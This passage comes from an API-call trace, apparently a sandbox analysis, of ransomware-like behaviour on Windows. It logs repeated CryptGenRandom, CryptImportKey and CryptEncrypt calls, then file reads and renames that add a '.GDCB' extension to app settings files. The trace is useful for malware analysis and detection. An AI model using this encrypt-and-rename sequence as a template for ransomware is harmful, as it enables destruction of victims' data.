phKey=0x285d4b8*=0x648a080) returned 1 [0212.233] CryptGetKeyParam (in: hKey=0x648a080, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.233] CryptEncrypt (in: hKey=0x648a080, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6fb0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6fb0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0212.233] GetLastError () returned 0x0 [0212.233] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0212.233] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-shm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite-shm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.233] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0212.235] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.236] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.236] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0212.236] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0212.236] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0212.237] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.238] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.238] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0212.238] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0212.238] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0212.240] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a700) returned 1 [0212.240] CryptGetKeyParam (in: hKey=0x648a700, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.240] CryptEncrypt (in: hKey=0x648a700, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6fc0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6fc0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0212.240] GetLastError () returned 0x0 [0212.240] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0212.240] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0212.242] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a300) returned 1 [0212.242] CryptGetKeyParam (in: hKey=0x648a300, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.242] CryptEncrypt (in: hKey=0x648a300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6fd0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6fd0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0212.242] GetLastError () returned 0x0 [0212.242] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0212.243] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-wal" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite-wal"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.264] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0212.266] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.267] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.267] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0212.267] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0212.267] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0212.268] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.269] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.269] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0212.269] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0212.269] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0212.271] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a340) returned 1 [0212.271] CryptGetKeyParam (in: hKey=0x648a340, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.271] CryptEncrypt (in: hKey=0x648a340, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6fe0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6fe0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0212.272] GetLastError () returned 0x0 [0212.272] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0212.272] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0212.273] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a380) returned 1 [0212.273] CryptGetKeyParam (in: hKey=0x648a380, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.273] CryptEncrypt (in: hKey=0x648a380, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ff0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6ff0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0212.274] GetLastError () returned 0x0 [0212.274] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0212.274] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0212.275] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7000000 [0212.277] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7010000 [0212.279] ReadFile (in: hFile=0x510, lpBuffer=0x7010000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7010000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0212.284] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7120000 [0212.288] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 0 [0212.347] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0212.349] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.350] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.350] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0212.350] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0212.350] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0212.351] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.352] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.352] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0212.352] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0212.352] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0212.354] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a540) returned 1 [0212.354] CryptGetKeyParam (in: hKey=0x648a540, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.354] CryptEncrypt (in: hKey=0x648a540, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6fe0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6fe0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0212.354] GetLastError () returned 0x0 [0212.354] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0212.354] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0212.357] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a780) returned 1 [0212.357] CryptGetKeyParam (in: hKey=0x648a780, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.357] CryptEncrypt (in: hKey=0x648a780, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ff0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6ff0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0212.357] GetLastError () returned 0x0 [0212.357] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0212.357] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0212.358] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7000000 [0212.360] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7010000 [0212.361] ReadFile (in: hFile=0x510, lpBuffer=0x7010000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7010000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0212.659] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7120000 [0212.664] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 0 [0212.731] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0212.733] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.734] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.734] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0212.734] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0212.734] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0212.735] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.736] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.736] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0212.736] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0212.736] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0212.738] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a0c0) returned 1 [0212.738] CryptGetKeyParam (in: hKey=0x648a0c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.738] CryptEncrypt (in: hKey=0x648a0c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6fe0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6fe0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0212.738] GetLastError () returned 0x0 [0212.738] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0212.738] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0212.740] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a8c0) returned 1 [0212.740] CryptGetKeyParam (in: hKey=0x648a8c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.740] CryptEncrypt (in: hKey=0x648a8c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ff0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6ff0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0212.740] GetLastError () returned 0x0 [0212.741] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0212.741] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.768] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0212.770] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.771] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.771] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0212.771] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0212.771] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0212.772] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.773] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.773] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0212.773] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0212.773] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0212.776] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648b040) returned 1 [0212.776] CryptGetKeyParam (in: hKey=0x648b040, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.776] CryptEncrypt (in: hKey=0x648b040, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7000000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7000000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0212.776] GetLastError () returned 0x0 [0212.776] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0212.776] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0212.778] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a900) returned 1 [0212.778] CryptGetKeyParam (in: hKey=0x648a900, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.778] CryptEncrypt (in: hKey=0x648a900, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7010000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7010000*, pdwDataLen=0x285d630*=0x100) returned 1 [0212.778] GetLastError () returned 0x0 [0212.778] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0212.778] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0212.780] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7020000 [0212.781] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7030000 [0212.782] ReadFile (in: hFile=0x510, lpBuffer=0x7030000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7030000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0212.789] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7140000 [0212.794] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 0 [0212.804] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0212.806] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.806] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.806] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0212.807] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0212.807] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0212.808] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0212.809] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0212.809] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0212.809] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0212.809] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0212.811] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648ac80) returned 1 [0212.811] CryptGetKeyParam (in: hKey=0x648ac80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0212.811] CryptEncrypt (in: hKey=0x648ac80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7000000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7000000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0212.812] GetLastError () returned 0x0 [0212.812] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0212.812] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0212.813] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: 